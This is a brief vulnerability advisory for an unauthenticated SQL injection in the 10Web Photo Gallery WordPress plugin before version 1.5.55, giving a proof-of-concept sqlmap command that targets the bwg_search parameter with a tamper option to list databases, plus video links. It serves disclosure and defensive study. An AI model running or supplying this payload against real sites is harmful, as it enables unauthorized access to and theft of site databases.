Photo Gallery by 10Web < 1.5.55 - Unauthenticated SQL Injection

SQL injection in the Photo Gallery (10Web Photo Gallery) plugin before 1.5.55 exists via the frontend/models/model.php bwg_search_x parameter. Impact All gallery_type is affected by this bug and any unauthenticated remote attacker can exploit the plugin.

PoC

Sqlmap payload: sqlmap -u ‘http://example.com/?p=19&amp;bwg;_search_0=*’ --dbs --risk 3 --level 5 --threads 10 --tamper=space2comment -p bwg_search_0 -f Video: https://drive.google.com/file/d/1W93XUz5qvWjB27Rn-9L9bIwpBXa2OFNJ/view?usp=sharing Backup link: https://mega.nz/file/S8UxyYpY#p-QLIwouqWq9Q4OV34KNZ8Zo2a7IAKjXVYJ9HZuh2Yk